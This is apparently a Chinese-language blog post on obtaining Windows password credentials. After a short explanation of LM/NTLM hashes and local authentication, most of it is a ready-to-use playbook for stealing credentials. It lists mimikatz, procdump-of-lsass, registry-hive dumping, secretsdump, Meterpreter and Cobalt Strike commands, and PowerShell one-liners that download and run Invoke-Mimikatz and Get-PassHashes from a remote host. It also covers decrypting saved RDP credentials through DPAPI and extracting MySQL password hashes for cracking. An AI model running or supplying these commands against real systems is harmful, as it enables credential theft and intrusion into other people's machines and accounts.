Windows密码凭证获取
Windows密码凭证获取
成殇Orz1
0x00 Windows Hash简介
Windows Hash
所谓哈希(hash),就是使用一种加密函数进行计算后的结果。这个加密函数对一个任意长度的字符串数据进行一 次数学加密函数运算,然后返回一个固定长度的字符串。 现在已经有了更新的NTLMv2以及Kerberos验证体系。
Windows系统使用两种方法对用户的密码进行哈希处理,它们分别是LAN Manager(LM)哈希和NT LAN Manager(NTLM)哈希Windows加密过的密码口令,我们称之为hash,Windows的系统密码hash默认情况下一般由两部分组成:第一 部分是LM-hash,第二部分是NTLM-hash。
Windows Hash格式:
用户名称:RID:LM-HASH值:NT-HASH值
LM哈希密码最大长度为14,密码长度超过14位使用NTLM哈希
2000 | xp | 2003 | Vista | win7 | 2008 | 2012 | |
---|---|---|---|---|---|---|---|
LM | √ | √ | √ | ||||
NTLM | √ | √ | √ | √ | √ | √ | √ |
Windows 认证基础
Windows的认证包括三个部分:
-
本地认证:用户直接操作计算机登陆账户
-
网络认证:远程连接到工作组中的某个设备
-
域认证:登陆到域环境中的某个设备
Windows本地认证
-
用户输入密码
-
系统收到密码后将用户输入的密码计算成NTLM Hash
-
与sam数据库(%SystemRoot%\system32\config\sam)中该用户的哈希比对
-
匹配则登陆成功,不匹配则登陆失败
本地认证中用来处理用户输入密码的进程为lsass.exe,密码会在这个进程中明文保存,供该进程将密码计算成NTLM Hash与sam进行比对,我们使用mimikatz来获取的明文密码,便是在这个进程中读取到的
0x01 系统用户密码凭证获取
Mimikatz
本地交互式
mimikatz.exe
mimikatz # log res.txt
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # lsadump::sam
mimikatz # exit
本地非交互式凭证获取
mimikatz.exe
mimikatz # log logon.txt
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
mimikatz # exit
Powershell远程加载mimikatz脚本
https://github.com/PowerShellMafia/PowerSploit/raw/master/Exfiltration/Invoke-Mimikatz.ps1
powershell IEX (New-Object Net.WebClient).DownloadString('http://ip:prot/Invoke-Mimikatz.ps1');Invoke-Mimikatz –DumpCreds
Powershell加载Get-PassHashes脚本
https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1
powershell IEX(new-object net.webclient).downloadstring('http://47.x.x.85/Get-PassHashes.ps1');Get-PassHashes
WCE
官网地址:https://www.ampliasecurity.com/research.html
32位下载:https://www.ampliasecurity.com/research/wce_v1_42beta_x32.zip
64位下载:https://www.ampliasecurity.com/research/wce_v1_42beta_x64.zip
历史版本下载:https://www.ampliasecurity.com/research/windows-credentials-editor/
Pwddump7
这款工具可以读取出当前系统的各个用户的密码hash (包括LM和NTLM)。 在命令行输入Pwddump7.txt就可以读取出hash并显示出来,也可以保存到一个文件中。
Pwddump7.exe > pass.txt
得到
Procdump+Mimikatz
https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdum
Procdump lsass 进程导出:
For 32bits:
procdump.exe -accepteula -ma lsass.exe lsass.dmp
For 64bits:
procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp
然后使用mimikatz还原密码:
mimikatz.exe
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
exit
注册表导出hash
https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdum
reg save HKLM\SYSTEM system.hiv
reg save HKLM\SAM sam.hiv
reg save HKLM\SECURITY security.hiv
Mimikatz
mimikatz.exe
lsadump::sam /system:system.hiv /sam:sam.hiv
exit
python脚本
python secretsdump.py -sam sam.hiv -security security.hiv -system system.hiv LOCAL
LaZagne
Meterpreter
Hashdump
获取system权限
meterpreter > getsystem
meterpreter > getuid
获取hash值
use post/windows/gather/hashdump //system权限的meterpreter
set session 1
exploit //结果保存在tmp目录下
use post/windows/gather/smart_hashdump
set session 1
exploit
Mimikatz
meterpreter > load kiwi
meterpreter > help kiwi
#列举系统中的明文密码
meterpreter > creds_all
#读取sam文件
meterpreter > lsa_dump_sam
#kiwi_cmd命令后面接mimikatz.exe的命令
meterpreter > kiwi_cmd sekurlsa::logonpasswords
Cobaltstrike
beacon> hashdump
beacon> logonpasswords
beacon> mimikatz sekurlsa::logonpasswords
0x02 Hash解密
Ophcrack
如果网站无法破解出hash值,可以使用ophcrack工具配合彩虹表破解。
工具下载:https://ophcrack.sourceforge.io/
彩虹表: https://ophcrack.sourceforge.io/tables.php http://project-rainbowcrack.com/table.htm
0x03 其他密码获取
获取RDP连接密码
获取链接记录
https://github.com/3gstudent/List-RDP-Connections-History.git
mimikatz解密
查看本地机器本地连接过的目标机器:
reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /s
查看本地用户此目录下是否存有RDP密码文件:
dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*
查看保存在本地的远程主机信息:
cmdkey /list
选择一个密码文件对其进行解密:
privilege::debug
dpapi::cred
/in:C:\Users\4600\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D
此处需要记录下guidMasterKey
的值,待会要通过guidMasterKey
找对应的Masterkey
。
guidMasterKey : {56dc62ge-0af9-4925-bf07-f54ba502a40a}
根据guidMasterKey找到对应的Masterkey:
sekurlsa::dpapi
通过Masterkey解密pbData数据,拿到明文RDP连接密码:
dpapi::cred
/in:C:\Users\4600\AppData\Local\Microsoft\Credentials\2A203AFB09B575A760E88FA341B9E354
/masterkey:2d72835b9c08a9332106c23017ee6c0a0be9a368de34c1f6acc6d34dc0de8bc264729bd7736
f806e9456544841564be0d5e9564090a7bb143ac32579adabb02a
Mysql数据库密码破解
一旦获取了网站一定的权限后,如果能够获取MySQL中保存用户数据,通过解密后,即可通过正常途径来访问 数据库;一方面可以直接操作数据库中的数据,另一方面可以用来提升权限。
MySQL数据库用户密码跟其它数据库用户密码一样,在应用系统代码中都是以明文出现的,在获取文件读取权 限后即可直接从数据库连接文件中读取 一般都包含有数据库类型,物理位置,用户名和密码等信息
MYSQL数据库文件类型
MYSQL数据库文件共有“frm”、“MYD”“和MYI”三种文件
- ".frm" 是描述表结构的文件
- ".MYD" 是表的数据文件
- ".MYI" 是表数据文件中任何索引的数据树
与用户相关的一共有三个文件即user.frm、user.MYD、user.MYI,MYSQL数据库用户密码都保存在user.MYD 文件中,包括root用户和其他用户的密码
MYSQL加密方式
MYSQL数据库的认证密码有两种方式:
- MYSQL 4.1版本之前是MYSQL323加密
- MYSQL 4.1和之后的版本都是MYSQLSHA1加密
MYSQL数据库中自带Old_Password(str)和Password(str)函数,它们均可以在MYSQL数据库里进行查询, 前者是MYSQL323加密,后者是MYSQLSHA1方式加密。 MYSQL323加密中生成的是16位字符串,而在MYSQLSHA1中生存的是41位字符串,其中*是不加入实际的密 码运算中,MYSQLSHA1加密的密码的实际位数是40位
获取MYSQL密码
用winhex编辑器打开user.MYD文件,使用二进制模式查看,即可得到密码Hash值:
Hash破解
- www.cmd5.com
- www.somd5.com
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· winform 绘制太阳,地球,月球 运作规律
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 上周热点回顾(3.3-3.9)
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人